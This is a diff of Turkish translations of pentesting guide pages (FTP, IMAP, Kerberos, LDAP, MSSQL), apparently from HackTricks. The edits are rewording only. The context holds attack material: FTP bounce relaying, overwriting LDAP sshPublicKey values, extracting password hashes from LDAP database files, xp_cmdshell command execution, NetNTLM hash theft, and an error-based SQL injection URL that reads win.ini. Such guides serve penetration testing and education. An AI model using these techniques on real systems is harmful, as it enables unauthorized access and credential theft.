@ -131,8 +131,8 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
- **`USER username`**
- **`PASS password`**
- **`HELP`** Sunucu hangi komutların desteklendiğini belirtir
- **`PORT 127,0,0,1,0,80`** Bu, FTP sunucusuna 127.0.0.1 IP'si ile 80 numaralı portta bir bağlantı kurmasını belirtir (_5. karakteri "0" ve 6. karakteri ondalık olarak port olarak koymalısınız ya da 5. ve 6. karakteri hex olarak portu ifade etmek için kullanmalısınız_).
- **`EPRT |2|127.0.0.1|80|`** Bu, FTP sunucusuna 127.0.0.1 IP'si ile 80 numaralı portta bir TCP bağlantısı kurmasını belirtir (_"2" ile belirtilmiştir_). Bu komut **IPv6 destekler**.
- **`PORT 127,0,0,1,0,80`** Bu, FTP sunucusuna IP 127.0.0.1 ile port 80'de bir bağlantı kurmasını belirtir (_5. karakteri "0" ve 6. karakteri ondalık olarak port olarak koymalısınız ya da 5. ve 6. karakteri hex olarak portu ifade etmek için kullanmalısınız_).
- **`EPRT |2|127.0.0.1|80|`** Bu, FTP sunucusuna IP 127.0.0.1 ile port 80'de bir TCP bağlantısı kurmasını belirtir (_"2" ile belirtilmiştir_). Bu komut **IPv6 destekler**.
- **`LIST`** Bu, mevcut klasördeki dosyaların listesini gönderir
- **`LIST -R`** Rekürsif liste (sunucu tarafından izin verilirse)
- **`APPE /path/something.txt`** Bu, FTP'ye **pasif** bir bağlantıdan veya **PORT/EPRT** bağlantısından alınan verileri bir dosyaya kaydetmesini belirtir. Dosya adı mevcutsa, verileri ekler.
@ -152,30 +152,30 @@ Bazı FTP sunucuları PORT komutuna izin verir. Bu komut, sunucuya başka bir FT
[**Burada bir FTP sunucusunu kullanarak portları nasıl tarayacağınızı öğrenin.**](ftp-bounce-attack.md)
Bu davranışı, bir FTP sunucusunun diğer protokollerle etkileşimde bulunmasını sağlamak için de kötüye kullanabilirsiniz. **Bir HTTP isteği içeren bir dosya yükleyebilir** ve savunmasız FTP sunucusunun **bunu rastgele bir HTTP sunucusuna göndermesini** sağlayabilirsiniz (_belki yeni bir admin kullanıcısı eklemek için?_) veya hatta bir FTP isteği yükleyip savunmasız FTP sunucusunun farklı bir FTP sunucusundan bir dosya indirmesini sağlayabilirsiniz.\
Bu davranışı, bir FTP sunucusunun diğer protokollerle etkileşimde bulunmasını sağlamak için de kötüye kullanabilirsiniz. **Bir HTTP isteği içeren bir dosya yükleyebilir** ve savunmasız FTP sunucusunun **bunu rastgele bir HTTP sunucusuna göndermesini** sağlayabilirsiniz (_belki yeni bir admin kullanıcı eklemek için?_) veya hatta bir FTP isteği yükleyip savunmasız FTP sunucusunun farklı bir FTP sunucusundan bir dosya indirmesini sağlayabilirsiniz.\
Teori basit:
1. **İsteği (bir metin dosyasının içinde) savunmasız sunucuya yükleyin.** Başka bir HTTP veya FTP sunucusuyla konuşmak istiyorsanız, satırları `0x0d 0x0a` ile değiştirmeniz gerektiğini unutmayın
2. **Göndermek istemediğiniz karakterleri göndermemek için `REST X` kullanın** (belki isteği dosyanın içine yüklemek için başta bazı resim başlıkları koymanız gerekiyordu)
1. **İsteği (bir metin dosyası içinde) savunmasız sunucuya yükleyin.** Başka bir HTTP veya FTP sunucusuyla konuşmak istiyorsanız, satırları `0x0d 0x0a` ile değiştirmeniz gerektiğini unutmayın
2. **Göndermek istemediğiniz karakterleri göndermemek için `REST X` kullanın** (belki isteği dosya içinde yüklemek için başta bazı resim başlıkları koymanız gerekiyordu)
3. **Rastgele sunucuya ve hizmete bağlanmak için `PORT` kullanın**
4. **Kaydedilen isteği sunucuya göndermek için `RETR` kullanın.**
Bu **bir hata verecektir** _**Socket not writable**_ **çünkü bağlantı, verileri `RETR` ile göndermek için yeterince uzun sürmez**. Bunu önlemeye çalışmak için öneriler:
- Eğer bir HTTP isteği gönderiyorsanız, **aynı isteği birbiri ardına koyun** en az **\~0.5MB** kadar. Böylece:
- Eğer bir HTTP isteği gönderiyorsanız, **aynı isteği birbiri ardına koyun** en az **\~0.5MB** kadar. Böyle:
{{#file}}
posts.txt
{{#endfile}}
- İsteği **protokole göre "çöp" verilerle doldurmaya çalışın** (FTP ile konuşurken belki sadece çöp komutlar veya dosyayı almak için `RETR` talimatını tekrarlamak)
- **İsteği protokole göre "çöp" verilerle doldurmaya çalışın** (FTP ile konuşurken belki sadece çöp komutlar veya dosyayı almak için `RETR` talimatını tekrarlamak)
- Sadece **isteği birçok null karakter veya diğerleriyle doldurun** (satırlara bölünmüş veya bölünmemiş)
Her halükarda, burada [farklı bir FTP sunucusundan bir dosya indirmek için bunu nasıl kötüye kullanacağınıza dair eski bir örnek var.](ftp-bounce-download-2oftp-file.md)
Her durumda, burada [bu davranışı kullanarak bir FTP sunucusunun farklı bir FTP sunucusundan bir dosya indirmesiyle ilgili eski bir örnek var.](ftp-bounce-download-2oftp-file.md)
## Filezilla Sunucu Açığı
**FileZilla** genellikle **yerel** bir **Yönetim hizmeti** için **FileZilla-Server**'a (port 14147) **bağlanır**. Eğer **makinenizden** bu porta erişmek için bir **tünel** oluşturabilirseniz, **boş bir şifre** kullanarak **bağlanabilir** ve FTP hizmeti için **yeni bir kullanıcı** oluşturabilirsiniz.
**FileZilla** genellikle **yerel** bir **Yönetim hizmeti** için **FileZilla-Server**'a (port 14147) **bağlanır**. Eğer **makinenizden** bu porta erişmek için bir **tünel** oluşturabiliyorsanız, **boş bir şifre** kullanarak **bağlanabilir** ve FTP hizmeti için **yeni bir kullanıcı** oluşturabilirsiniz.
## Konfigürasyon dosyaları
```

View File

@ -19,9 +19,9 @@ PORT STATE SERVICE REASON
nc -nv <IP> 143
openssl s_client -connect <IP>:993 -quiet
```
### NTLM Auth - Bilgi sızıntısı
### NTLM Auth - Bilgi ifşası
Eğer sunucu NTLM kimlik doğrulamayı (Windows) destekliyorsa, hassas bilgilere (sürümler) ulaşabilirsiniz:
Eğer sunucu NTLM kimlik doğrulamasını (Windows) destekliyorsa, hassas bilgilere (sürümler) ulaşabilirsiniz:
```
root@kali: telnet example.com 143
* OK The Microsoft Exchange IMAP4 service is ready.
@ -101,7 +101,7 @@ curl -k 'imaps://1.2.3.4/' --user user:pass
```bash
curl -k 'imaps://1.2.3.4/INBOX?ALL' --user user:pass
```
Bu aramanın sonucu, bir dizi mesaj indeksidir.
Bu aramanın sonucu, bir mesaj indeksleri listesidir.
Daha karmaşık arama terimleri sağlamak da mümkündür. Örneğin, mail içeriğinde şifre bulunan taslakları aramak:
```bash

View File

@ -6,9 +6,9 @@
**Kerberos**, kullanıcıları kaynaklara doğrudan erişimlerini yönetmeden kimlik doğrulaması yapma prensibi üzerine çalışır. Bu, protokolün güvenlik çerçevelerindeki rolünü vurguladığı için önemli bir ayrımdır.
**Active Directory** gibi ortamlarda, **Kerberos**, kullanıcıların gizli şifrelerini doğrulayarak kimliklerini belirlemede önemli bir rol oynar. Bu süreç, her kullanıcının kimliğinin, ağ kaynaklarıyla etkileşime girmeden önce doğrulandığını garanti eder. Ancak, **Kerberos**, bir kullanıcının belirli kaynaklar veya hizmetler üzerindeki izinlerini değerlendirme veya uygulama işlevselliğini genişletmez. Bunun yerine, kullanıcıları kimlik doğrulamanın güvenli bir yolunu sağlar; bu, güvenlik sürecindeki kritik bir ilk adımdır.
**Active Directory** gibi ortamlarda, **Kerberos**, kullanıcıların gizli şifrelerini doğrulayarak kimliklerini belirlemede önemli bir rol oynar. Bu süreç, her kullanıcının kimliğinin, ağ kaynaklarıyla etkileşime girmeden önce doğrulandığını garanti eder. Ancak, **Kerberos**, bir kullanıcının belirli kaynaklar veya hizmetler üzerindeki izinlerini değerlendirme veya uygulama işlevselliğini genişletmez. Bunun yerine, kullanıcıları kimlik doğrulamak için güvenli bir yol sağlar; bu, güvenlik sürecindeki kritik bir ilk adımdır.
**Kerberos** tarafından kimlik doğrulama yapıldıktan sonra, kaynaklara erişimle ilgili karar verme süreci, ağ içindeki bireysel hizmetlere devredilir. Bu hizmetler, **Kerberos** tarafından sağlanan kullanıcı ayrıcalıkları bilgisine dayanarak, kimliği doğrulanmış kullanıcının haklarını ve izinlerini değerlendirmekten sorumludur. Bu tasarım, kullanıcıların kimliğini doğrulama ile erişim haklarını yönetme arasında bir ayrım yapılmasına olanak tanır ve dağıtık ağlarda kaynak yönetimine daha esnek ve güvenli bir yaklaşım sağlar.
**Kerberos** tarafından kimlik doğrulama yapıldıktan sonra, kaynaklara erişimle ilgili karar verme süreci, ağ içindeki bireysel hizmetlere devredilir. Bu hizmetler, **Kerberos** tarafından sağlanan kullanıcı ayrıcalıkları bilgisine dayanarak, kimliği doğrulanmış kullanıcının haklarını ve izinlerini değerlendirmekten sorumludur. Bu tasarım, kullanıcıların kimliğini doğrulama ile erişim haklarını yönetme arasında bir ayrım yapılmasına olanak tanır ve dağıtık ağlarda kaynak yönetimi için daha esnek ve güvenli bir yaklaşım sağlar.
**Varsayılan Port:** 88/tcp/udp
```
@ -25,7 +25,7 @@ PORT STATE SERVICE
### MS14-068
MS14-068 açığı, bir saldırganın meşru bir kullanıcının Kerberos oturum açma jetonunu değiştirmesine ve yanlış bir şekilde yükseltilmiş ayrıcalıklar talep etmesine olanak tanır; örneğin, bir Domain Admin olarak. Bu sahte talep, Domain Controller tarafından yanlışlıkla doğrulanır ve bu da Active Directory ormanı genelinde ağ kaynaklarına yetkisiz erişim sağlar.
MS14-068 açığı, bir saldırganın meşru bir kullanıcının Kerberos oturum açma jetonunu değiştirmesine ve yanlış bir şekilde yükseltilmiş ayrıcalıklar talep etmesine olanak tanır; örneğin, bir Domain Admin olarak. Bu sahte talep, Domain Controller tarafından yanlışlıkla doğrulanır ve Active Directory ormanı genelinde ağ kaynaklarına yetkisiz erişim sağlar.
{{#ref}}
https://adsecurity.org/?p=541

View File

@ -2,11 +2,11 @@
{{#include ../banners/hacktricks-training.md}}
**LDAP** (Hafif Dizin Erişim Protokolü) kullanımı, hem kamu hem de özel ağlar içinde organizasyonlar, bireyler ve dosyalar ile cihazlar gibi çeşitli varlıkları bulmak için esasen kullanılır. Daha önceki versiyonu DAP'a kıyasla daha küçük bir kod ayak izi ile daha akıcı bir yaklaşım sunar.
**LDAP** (Hafif Dizin Erişim Protokolü) kullanımı, hem kamu hem de özel ağlar içinde organizasyonlar, bireyler ve dosyalar ile cihazlar gibi çeşitli varlıkları bulmak için esasen kullanılır. Daha küçük bir kod ayak izi ile, öncüsü DAP'a kıyasla daha akıcı bir yaklaşım sunar.
LDAP dizinleri, birkaç sunucuya dağıtılmalarını sağlamak için yapılandırılmıştır; her sunucu, Dizin Sistemi Ajanı (DSA) olarak adlandırılan dizinin **kopyalanmış** ve **senkronize** bir versiyonunu barındırır. İstekleri işleme sorumluluğu tamamen LDAP sunucusuna aittir; bu sunucu, talep sahibine birleşik bir yanıt sunmak için gerektiğinde diğer DSA'larla iletişim kurabilir.
LDAP dizinleri, birkaç sunucuya dağıtılmalarını sağlamak için yapılandırılmıştır; her sunucu, Dizin Sistemi Ajanı (DSA) olarak adlandırılan dizinin **kopyalanmış** ve **senkronize** bir versiyonunu barındırır. İstekleri işleme sorumluluğu tamamen LDAP sunucusuna aittir ve bu sunucu, talep sahibine birleşik bir yanıt sunmak için gerektiğinde diğer DSA'larla iletişim kurabilir.
LDAP dizininin organizasyonu, **en üstte kök dizin ile başlayan bir ağaç hiyerarşisini** andırır. Bu, ülkelere, ardından organizasyonlara ve daha sonra çeşitli bölümleri veya departmanları temsil eden organizasyonel birimlere ayrılır ve nihayetinde bireysel varlıklar seviyesine, hem insanlar hem de dosyalar ve yazıcılar gibi paylaşılan kaynaklar dahil olmak üzere ulaşır.
LDAP dizininin organizasyonu, **en üstte kök dizin ile başlayan bir ağaç hiyerarşisini** andırır. Bu, ülkelere, ardından organizasyonlara ve daha sonra çeşitli bölümleri temsil eden organizasyonel birimlere ayrılır ve nihayetinde bireysel varlıklar seviyesine, hem insanlar hem de dosyalar ve yazıcılar gibi paylaşılan kaynaklar dahil olmak üzere ulaşır.
**Varsayılan port:** 389 ve 636(ldaps). Global Katalog (ActiveDirectory'deki LDAP) varsayılan olarak 3268 ve 3269 portlarında LDAPS için mevcuttur.
```
@ -52,7 +52,7 @@ phone: 23627387495
## Veri Yazma
Değerleri değiştirebiliyorsanız, gerçekten ilginç eylemler gerçekleştirebilirsiniz. Örneğin, **kullanıcınızın veya herhangi bir kullanıcının "sshPublicKey" bilgisini değiştirebildiğinizi** hayal edin. Bu niteliğin mevcut olması durumunda, **ssh'nin LDAP'dan genel anahtarları okuduğu** oldukça olasıdır. Bir kullanıcının genel anahtarını değiştirebilirseniz, **şifre kimlik doğrulaması ssh'da etkin olmasa bile o kullanıcı olarak giriş yapabileceksiniz**.
Değerleri değiştirebiliyorsanız, gerçekten ilginç eylemler gerçekleştirebilirsiniz. Örneğin, kullanıcı veya herhangi bir kullanıcının **"sshPublicKey" bilgisini değiştirebildiğinizi** hayal edin. Bu niteliğin mevcut olması durumunda, **ssh'nin LDAP'dan genel anahtarları okuduğu** oldukça olasıdır. Bir kullanıcının genel anahtarını değiştirebilirseniz, **şifre kimlik doğrulaması ssh'da etkin olmasa bile o kullanıcı olarak giriş yapabileceksiniz.**
```bash
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
>>> import ldap3
@ -68,9 +68,9 @@ u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
Eğer LDAP SSL olmadan kullanılıyorsa, ağda **kimlik bilgilerini düz metin olarak dinleyebilirsiniz.**
Ayrıca, **LDAP sunucusu ile istemci arasında** bir **MITM** saldırısı gerçekleştirebilirsiniz. Burada, istemcinin **kimlik bilgilerini düz metin olarak** kullanarak giriş yapmasını sağlamak için bir **Downgrade Attack** yapabilirsiniz.
Ayrıca, **LDAP sunucusu ile istemci arasında** bir **MITM** saldırısı gerçekleştirebilirsiniz. Burada, istemcinin **düz metin kimlik bilgilerini** kullanarak giriş yapması için bir **Downgrade Attack** yapabilirsiniz.
**Eğer SSL kullanılıyorsa**, yukarıda bahsedilen şekilde **MITM** yapmayı deneyebilirsiniz, ancak bir **sahte sertifika** sunarak, eğer **kullanıcı bunu kabul ederse**, kimlik doğrulama yöntemini düşürme ve kimlik bilgilerini tekrar görme imkanınız olur.
**Eğer SSL kullanılıyorsa**, yukarıda bahsedilen şekilde **MITM** yapmayı deneyebilirsiniz, ancak **yanlış bir sertifika** sunarak, eğer **kullanıcı bunu kabul ederse**, kimlik doğrulama yöntemini düşürme ve kimlik bilgilerini tekrar görme imkanınız olur.
## Anonim Erişim
@ -87,7 +87,7 @@ Ancak, yöneticiler **anonim bağlanmalara izin vermek için belirli bir uygulam
## Geçerli Kimlik Bilgileri
LDAP sunucusuna giriş yapmak için geçerli kimlik bilgilerine sahipseniz, aşağıdaki komutla Alan Yöneticisi hakkında tüm bilgileri dökebilirsiniz:
LDAP sunucusuna giriş yapmak için geçerli kimlik bilgilerine sahipseniz, alan yöneticisi hakkında tüm bilgileri dökebilirsiniz:
[ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump)
```bash
@ -100,7 +100,7 @@ ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authty
### Automated
Bunu kullanarak **kamusal bilgileri** (örneğin alan adı)**:** görebileceksiniz.
Bunu kullanarak **kamusal bilgileri** (alan adı gibi)**:** görebileceksiniz:
```bash
nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
```
@ -108,9 +108,9 @@ nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
<details>
<summary>Python ile LDAP sayımını görün</summary>
<summary>Python ile LDAP enumerasyonu görün</summary>
**Kimlik bilgileri ile veya kimlik bilgileri olmadan bir LDAP'ı saymayı deneyebilirsiniz**: `pip3 install ldap3`
**Kimlik bilgileri ile veya kimlik bilgileri olmadan bir LDAP'ı enumerate etmeyi deneyebilirsiniz**: `pip3 install ldap3`
Öncelikle **kimlik bilgileri olmadan** bağlanmayı deneyin:
```bash
@ -121,7 +121,7 @@ nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
True
>>> server.info
```
Eğer yanıt `True` ise, önceki örnekte olduğu gibi, LDAP sunucusundan bazı **ilginç veriler** (örneğin **isim bağlamı** veya **alan adı**) elde edebilirsiniz:
Eğer yanıt `True` ise, LDAP'dan bazı **ilginç veriler** (örneğin **isim bağlamı** veya **alan adı**) elde edebilirsiniz:
```bash
>>> server.info
DSA info (from DSE):
@ -175,7 +175,7 @@ tion a successful bind must be completed on the connection., data 0, v3839
```
Eğer "_bind must be completed_" diyen bir şey bulursanız, bu, kimlik bilgilerinin yanlış olduğu anlamına gelir.
Bir **alan adından her şeyi** çıkartabilirsiniz:
Bir alandan **her şeyi çıkartabilirsiniz**:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
-x Simple Authentication
@ -205,7 +205,7 @@ ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Dom
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
**Enterprise Admins**:
**Enterprise Admins**'i Çıkarın:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
@ -226,7 +226,7 @@ Lütfen burada bulabileceğiniz şifrelerin gerçek olmayabileceğini unutmayın
#### pbis
**pbis**'i buradan indirebilirsiniz: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) ve genellikle `/opt/pbis` dizinine kurulur.\
**Pbis**, temel bilgileri kolayca almanızı sağlar:
**Pbis**, temel bilgilere kolayca erişmenizi sağlar:
```bash
#Read keytab file
./klist -k /etc/krb5.keytab
@ -280,13 +280,13 @@ done
LDAP sunucusu ile grafik bir arayüzü buradan indirebilirsiniz: [http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html)
Varsayılan olarak şu dizine kurulur: _/opt/jxplorer_
Varsayılan olarak şurada kurulu: _/opt/jxplorer_
![](<../images/image (482).png>)
### Godap
Godap, AD ve diğer LDAP sunucularındaki nesneler ve niteliklerle etkileşimde bulunmak için kullanılabilen etkileşimli bir terminal kullanıcı arayüzüdür. Windows, Linux ve MacOS için mevcuttur ve basit bağlamalar, pass-the-hash, pass-the-ticket & pass-the-cert gibi yöntemlerin yanı sıra nesneleri arama/oluşturma/değiştirme/silme, gruplardan kullanıcı ekleme/çıkarma, şifre değiştirme, nesne izinlerini (DACL'ler) düzenleme, Active-Directory Entegre DNS (ADIDNS) değiştirme, JSON dosyalarına aktarma gibi birkaç özel özelliği destekler.
Godap, AD ve diğer LDAP sunucularındaki nesneler ve niteliklerle etkileşimde bulunmak için kullanılabilen etkileşimli bir terminal kullanıcı arayüzüdür. Windows, Linux ve MacOS için mevcuttur ve basit bağlamalar, pass-the-hash, pass-the-ticket ve pass-the-cert gibi yöntemlerin yanı sıra nesneleri arama/oluşturma/değiştirme/silme, gruplardan kullanıcı ekleme/çıkarma, şifre değiştirme, nesne izinlerini düzenleme (DACL'ler), Active-Directory Entegre DNS (ADIDNS) değiştirme, JSON dosyalarına aktarma gibi birkaç özel özelliği destekler.
![](../images/godap.png)
@ -294,7 +294,7 @@ Buna [https://github.com/Macmod/godap](https://github.com/Macmod/godap) adresind
### Ldapx
Ldapx, diğer araçlardan LDAP trafiğini incelemek ve dönüştürmek için kullanılabilen esnek bir LDAP proxy'sidir. Kimlik koruma ve LDAP izleme araçlarını atlatmaya çalışmak için LDAP trafiğini gizlemek amacıyla kullanılabilir ve [MaLDAPtive](https://www.youtube.com/watch?v=mKRS5Iyy7Qo) konuşmasında sunulan yöntemlerin çoğunu uygular.
Ldapx, diğer araçlardan LDAP trafiğini incelemek ve dönüştürmek için kullanılabilen esnek bir LDAP proxy'sidir. Kimlik koruma ve LDAP izleme araçlarını atlatmaya çalışmak için LDAP trafiğini obfuscate etmek amacıyla kullanılabilir ve [MaLDAPtive](https://www.youtube.com/watch?v=mKRS5Iyy7Qo) konuşmasında sunulan yöntemlerin çoğunu uygular.
![](../images/ldapx.png)
@ -306,11 +306,11 @@ Bunu [https://github.com/Macmod/ldapx](https://github.com/Macmod/ldapx) adresind
## POST
Veritabanlarının bulunduğu dosyalara erişiminiz varsa (bu _/var/lib/ldap_ içinde olabilir). Hash'leri çıkarmak için:
Veritabanlarının bulunduğu dosyalara erişebiliyorsanız (bu _/var/lib/ldap_ içinde olabilir). Hash'leri çıkarmak için:
```bash
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
```
John'a şifre hash'ini ('{SSHA}'dan 'structural'a 'structural' eklemeden) verebilirsiniz.
John'a şifre hash'ini ('{SSHA}' ile 'structural' arasında 'structural' eklemeden) verebilirsiniz.
### Yapılandırma Dosyaları

View File

@ -24,7 +24,7 @@ From [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server):
### Otomatik Sayım
Eğer hizmet hakkında hiçbir şey bilmiyorsanız:
Hizmet hakkında hiçbir şey bilmiyorsanız:
```bash
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
msf> use auxiliary/scanner/mssql/mssql_ping
@ -159,7 +159,7 @@ SELECT * FROM sysusers
- **Sunucu** Örnekler arasında veritabanları, girişler, uç noktalar, kullanılabilirlik grupları ve sunucu rolleri bulunur.
- **Veritabanı** Örnekler arasında veritabanı rolleri, uygulama rolleri, şemalar, sertifikalar, tam metin katalogları ve kullanıcılar yer alır.
- **Şema** Tablo, görünüm, prosedür, fonksiyon, eşanlamlılar vb. içerir.
2. **İzin:** SQL Server securables ile ilişkili olan izinler, ALTER, CONTROL ve CREATE gibi, bir prensibe verilebilir. İzinlerin yönetimi iki seviyede gerçekleşir:
2. **İzin:** SQL Server securables ile ilişkili olan, ALTER, CONTROL ve CREATE gibi izinler bir prensipe verilebilir. İzinlerin yönetimi iki seviyede gerçekleşir:
- **Sunucu Seviyesi** girişler kullanılarak
- **Veritabanı Seviyesi** kullanıcılar kullanılarak
3. **Prensip:** Bu terim, bir securable'a izin verilen varlığı ifade eder. Prensipler esas olarak girişler ve veritabanı kullanıcılarını içerir. Securables'a erişim üzerindeki kontrol, izinlerin verilmesi veya reddedilmesi yoluyla veya girişlerin ve kullanıcıların erişim haklarına sahip rollere dahil edilmesiyle sağlanır.
@ -187,7 +187,7 @@ EXEC sp_helprotect 'xp_cmdshell'
### OS Komutlarını Çalıştır
> [!CAUTION]
> Komutları çalıştırabilmek için sadece **`xp_cmdshell`** **etkin** olmasının yeterli olmadığını, aynı zamanda **`xp_cmdshell` saklı yordamında EXECUTE iznine** de sahip olmanız gerektiğini unutmayın. **`xp_cmdshell`**'i kimlerin (sysadminler hariç) kullanabileceğini öğrenmek için:
> Komutları çalıştırabilmek için sadece **`xp_cmdshell`** **etkin** olmasının yeterli olmadığını, aynı zamanda **`xp_cmdshell` saklı yordamında EXECUTE iznine** sahip olmanın da gerekli olduğunu unutmayın. **`xp_cmdshell`**'i kimlerin (sysadminler hariç) kullanabileceğini öğrenmek için:
>
> ```sql
> Use master
@ -269,7 +269,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.25
> EXEC sp_helprotect 'xp_fileexist';
> ```
**responder** veya **Inveigh** gibi araçlar kullanarak **NetNTLM hash'ini çalmak** mümkündür.\
**Responder** veya **Inveigh** gibi araçlar kullanarak **NetNTLM hash'ini çalmak** mümkündür.\
Bu araçları nasıl kullanacağınızı görebilirsiniz:
{{#ref}}
@ -286,7 +286,7 @@ Bu araçları nasıl kullanacağınızı görebilirsiniz:
### **Dosya Yazma**
`MSSQL` kullanarak dosya yazmak için, **Ole Automation Procedures**'ı [**etkinleştirmemiz**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option) gerekiyor, bu da yönetici ayrıcalıkları gerektirir ve ardından dosyayı oluşturmak için bazı saklı yordamları çalıştırmalıyız:
`MSSQL` kullanarak dosya yazmak için, **Ole Automation Procedures**'ı [**etkinleştirmemiz**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option) gerekir, bu da yönetici ayrıcalıkları gerektirir ve ardından dosyayı oluşturmak için bazı saklı yordamları çalıştırmalıyız:
```bash
# Enable Ole Automation Procedures
sp_configure 'show advanced options', 1
@ -315,19 +315,19 @@ Ancak, **`BULK`** seçeneği **`ADMINISTER BULK OPERATIONS`** veya **`ADMINISTER
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
```
#### Hata tabanlı SQLi vektörü:
#### Hata Tabanlı SQLi Vektörü:
```
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
```
### **RCE/Read files executing scripts (Python ve R)**
### **RCE/Dosya okuma, betikleri çalıştırma (Python ve R)**
MSSQL, **Python ve/veya R** ile **scriptler** çalıştırmanıza izin verebilir. Bu kod, **xp_cmdshell** kullanarak komutları çalıştıran **farklı bir kullanıcı** tarafından yürütülecektir.
MSSQL, **Python ve/veya R**'de **betikler çalıştırmanıza** izin verebilir. Bu kod, **xp_cmdshell** kullanarak komutları çalıştıran **farklı bir kullanıcı** tarafından yürütülecektir.
Çalışmayan bir **'R'** _"Hellow World!"_ **çalıştırma** örneği:
![](<../../images/image (393).png>)
Birçok işlem gerçekleştirmek için yapılandırılmış python kullanma örneği:
Birçok eylemi gerçekleştirmek için yapılandırılmış python kullanma örneği:
```sql
# Print the user being used (and execute commands)
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
@ -346,14 +346,14 @@ GO
Microsoft SQL Server, yalnızca ağla değil, aynı zamanda dosya sistemiyle ve hatta [**Windows Kayıt Defteri**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)** ile etkileşimde bulunmanıza olanak tanıyan **birden fazla genişletilmiş saklı yordam** sağlar:**
| **Normal** | **Örnek Bilgisine Duyarlı** |
| -------------------------- | ------------------------------------ |
| sys.xp_regread | sys.xp_instance_regread |
| sys.xp_regenumvalues | sys.xp_instance_regenumvalues |
| sys.xp_regenumkeys | sys.xp_instance_regenumkeys |
| sys.xp_regwrite | sys.xp_instance_regwrite |
| sys.xp_regdeletevalue | sys.xp_instance_regdeletevalue |
| sys.xp_regdeletekey | sys.xp_instance_regdeletekey |
| sys.xp_regaddmultistring | sys.xp_instance_regaddmultistring |
| --------------------------- | ------------------------------------ |
| sys.xp_regread | sys.xp_instance_regread |
| sys.xp_regenumvalues | sys.xp_instance_regenumvalues |
| sys.xp_regenumkeys | sys.xp_instance_regenumkeys |
| sys.xp_regwrite | sys.xp_instance_regwrite |
| sys.xp_regdeletevalue | sys.xp_instance_regdeletevalue |
| sys.xp_regdeletekey | sys.xp_instance_regdeletekey |
| sys.xp_regaddmultistring | sys.xp_instance_regaddmultistring |
| sys.xp_regremovemultistring | sys.xp_instance_regremovemultistring |
```sql
# Example read registry
@ -370,7 +370,7 @@ Daha fazla örnek için [orijinal kaynağa](https://blog.waynesheffield.com/wayn
### MSSQL Kullanıcı Tanımlı Fonksiyonu ile RCE - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
Özel fonksiyonlar ile **MSSQL içinde bir .NET dll yüklemek mümkündür**. Ancak, bu **`dbo` erişimi gerektirir**, bu nedenle veritabanına **`sa` veya bir Yönetici rolü olarak** bağlanmanız gerekir.
MSSQL içinde özel fonksiyonlarla **bir .NET dll yüklemek mümkündür**. Ancak, bu **`dbo` erişimi gerektirir**, bu nedenle veritabanına **`sa` veya bir Yönetici rolü olarak** bağlanmanız gerekir.
Bir örnek görmek için [bu bağlantıyı takip edin](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp).
@ -482,9 +482,9 @@ Ya da bir **PS** scripti:
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184
```
### Diğer Kullanıcıların Taklit Edilmesi
### Diğer kullanıcıların taklit edilmesi
SQL Server, **`IMPERSONATE`** adında özel bir izin sunar; bu izin, **işlem yapan kullanıcının başka bir kullanıcının** veya oturum açma bilgisinin izinlerini almasına **imkan tanır**. Bu, bağlam sıfırlanana kadar veya oturum sona erene kadar geçerlidir.
SQL Server, **`IMPERSONATE`** adında özel bir izin sunar; bu izin, **işlem yapan kullanıcının başka bir kullanıcının** veya oturum açma bilgisinin izinlerini almasına **olanak tanır** ve bu durum, bağlam sıfırlanana kadar veya oturum sona erene kadar devam eder.
```sql
# Find users you can impersonate
SELECT distinct b.name
@ -507,7 +507,7 @@ use_link [NAME]
> [!NOTE]
> Eğer bir kullanıcıyı taklit edebiliyorsanız, hatta sysadmin olmasa bile, **kullanıcının diğer** **veritabanlarına** veya bağlı sunuculara erişimi olup olmadığını kontrol etmelisiniz.
Unutmayın ki bir kez sysadmin olduğunuzda, başka birini taklit edebilirsiniz:
